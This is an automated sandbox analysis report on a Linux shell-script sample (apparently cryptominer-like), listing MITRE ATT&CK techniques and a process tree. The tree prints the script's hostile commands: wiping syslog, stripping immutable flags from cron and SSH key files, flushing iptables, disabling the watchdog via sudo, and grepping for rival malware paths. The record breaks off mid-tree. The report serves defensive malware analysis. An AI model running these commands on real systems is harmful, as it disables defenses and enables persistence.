789a62dbdf36198f26d3f0b453e31f0f055067f121a06962099622221541a2a0

Analysis

max time kernel
150s
max time network
12s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24/02/2025, 03:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

789a62dbdf36198f26d3f0b453e31f0f055067f121a06962099622221541a2a0.sh
Size

35KB
MD5

7ac2e755b6a4ed16d53571ffe80c7ffd
SHA1

d34d6a1bd3116984232b483b2ef7924bd213ded2
SHA256

789a62dbdf36198f26d3f0b453e31f0f055067f121a06962099622221541a2a0
SHA512

0c6fcb9847588155f787687eb85c6e929f389c279f7145579726602bc75190569508f5a4d5248291760bb7961d272449f53be34825f0f6bded473c3d0fc91844
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytiuz:bOVF+D6cIwgoshz

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
711	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
717	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1764	xargs
1833	xargs
1889	xargs
1484	xargs
1648	xargs
1696	xargs
1919	xargs
1984	xargs
709	chattr
1606	xargs
1697	sed
1786	xargs
1899	xargs
1678	xargs
1708	xargs
1715	sed
1858	xargs
1904	xargs
1475	xargs
1509	xargs
1600	xargs
1712	sed
1714	xargs
1718	sed
1774	xargs
1853	xargs
1463	xargs
1630	xargs
1699	xargs
1864	xargs
1884	xargs
1909	xargs
1939	xargs
1969	xargs
707	chattr
1469	xargs
1504	xargs
1660	xargs
1702	xargs
1823	xargs
1929	xargs
1989	xargs
1477	grep
1539	xargs
1654	xargs
1726	xargs
1797	xargs
1813	xargs
1954	xargs
737	chattr
1515	xargs
1624	xargs
1684	xargs
1721	sed
1769	xargs
1934	xargs
1994	xargs
1612	xargs
1691	sed
1723	xargs
1848	xargs
1894	xargs
699	chattr
738	chattr

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.0VSY4O	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Fcucdc	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.v3ihOo	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.fOLD4b	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.LoZLIr	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.mDse1R	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.7wOL1d	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VqrPlu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.sASweR	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.bqeoFe	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.7vvM8q	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.EmZOdM	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.LqXtz1	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps

Process Discovery 1 TTPs 50 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1814	ps
1860	ps
1895	ps
1930	ps
1950	ps
1965	ps
1870	ps
1535	ps
1819	ps
1829	ps
1839	ps
1885	ps
1935	ps
1465	ps
1495	ps
1760	ps
1824	ps
1905	ps
1970	ps
1770	ps
1915	ps
1960	ps
1476	ps
1834	ps
1854	ps
1875	ps
1920	ps
1975	ps
1980	ps
1985	ps
1459	ps
1478	ps
1765	ps
1849	ps
1990	ps
1471	ps
1490	ps
1809	ps
1844	ps
1865	ps
1880	ps
1890	ps
1900	ps
1480	ps
1485	ps
1910	ps
1925	ps
1940	ps
1945	ps
1955	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/376/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/4/stat	ps
File opened for reading	/proc/245/status	ps
File opened for reading	/proc/512/cmdline	ps
File opened for reading	/proc/164/stat	ps
File opened for reading	/proc/693/stat	ps
File opened for reading	/proc/75/cmdline	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/335/cmdline	pkill
File opened for reading	/proc/114/status	pkill
File opened for reading	/proc/479/status	ps
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/337/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/511/cmdline	pkill
File opened for reading	/proc/113/status	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/675/status	ps
File opened for reading	/proc/71/cmdline	ps
File opened for reading	/proc/19/cmdline	ps
File opened for reading	/proc/335/stat	ps
File opened for reading	/proc/143/cmdline	pkill
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/165/stat	ps
File opened for reading	/proc/694/cmdline	ps
File opened for reading	/proc/1738/cmdline	pkill
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/73/stat	ps
File opened for reading	/proc/511/status	ps
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/18/cmdline	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/165/status	ps
File opened for reading	/proc/143/status	ps
File opened for reading	/proc/694/status	pkill
File opened for reading	/proc/82/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/81/cmdline	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/70/cmdline	pkill
File opened for reading	/proc/71/status	ps
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/104/cmdline	pkill
File opened for reading	/proc/165/status	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/148/status	pkill
File opened for reading	/proc/696/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/70/stat	ps
File opened for reading	/proc/82/cmdline	pkill
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/335/status	ps
File opened for reading	/proc/70/cmdline	pkill
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/114/cmdline	pkill
File opened for reading	/proc/10/cmdline	pkill

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1415	ls

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	789a62dbdf36198f26d3f0b453e31f0f055067f121a06962099622221541a2a0.sh

/tmp/789a62dbdf36198f26d3f0b453e31f0f055067f121a06962099622221541a2a0.sh
/tmp/789a62dbdf36198f26d3f0b453e31f0f055067f121a06962099622221541a2a0.sh
1⤵
- Writes file to tmp directory
PID:696
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:698
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Attempts to change immutable files
  PID:699
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:701
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:707
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Attempts to change immutable files
  PID:709
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:711
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:717
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:725
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmNuN-0000Bh-7d
      4⤵
      Reads CPU attributes
      PID:739
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:729
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmNuN-0000Bl-Ae
      4⤵
      PID:740
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:731
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:733
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:734
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:737
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:738
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:741
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:742
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:744
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:746
- /bin/grep
  grep exe
  2⤵
  PID:747
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:751
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:753
- /bin/grep
  grep exe
  2⤵
  PID:754
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:756
- /bin/grep
  grep exe
  2⤵
  PID:762
- /bin/ls
  ls -latrh /proc/104
  2⤵
  PID:761
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:764
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:766
- /bin/grep
  grep exe
  2⤵
  PID:767
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:770
- /bin/ls
  ls -latrh /proc/113
  2⤵
  PID:772
- /bin/grep
  grep exe
  2⤵
  PID:773
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:775
- /bin/grep
  grep exe
  2⤵
  PID:778
- /bin/ls
  ls -latrh /proc/114
  2⤵
  PID:777
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:780
- /bin/grep
  grep exe
  2⤵
  PID:783
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:782
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:785
- /bin/grep
  grep exe
  2⤵
  PID:788
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:787
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:790
- /bin/grep
  grep exe
  2⤵
  PID:793
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:792
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:795
- /bin/ls
  ls -latrh /proc/143
  2⤵
  PID:797
- /bin/grep
  grep exe
  2⤵
  PID:798
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:800
- /bin/grep
  grep exe
  2⤵
  PID:803
- /bin/ls
  ls -latrh /proc/148
  2⤵
  PID:802
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:805
- /bin/grep
  grep exe
  2⤵
  PID:808
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:807
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:810
- /bin/grep
  grep exe
  2⤵
  PID:813
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:812
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:815
- /bin/grep
  grep exe
  2⤵
  PID:818
- /bin/ls
  ls -latrh /proc/164
  2⤵
  PID:817
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:820
- /bin/grep
  grep exe
  2⤵
  PID:823
- /bin/ls
  ls -latrh /proc/165
  2⤵
  PID:822
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:825
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:827
- /bin/grep
  grep exe
  2⤵
  PID:828
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:830
- /bin/grep
  grep exe
  2⤵
  PID:833
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:832
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:835
- /bin/grep
  grep exe
  2⤵
  PID:838
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:837
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:840
- /bin/grep
  grep exe
  2⤵
  PID:843
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:842
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:845
- /bin/grep
  grep exe
  2⤵
  PID:848
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:847
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:850
- /bin/grep
  grep exe
  2⤵
  PID:853
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:852
- /bin/grep
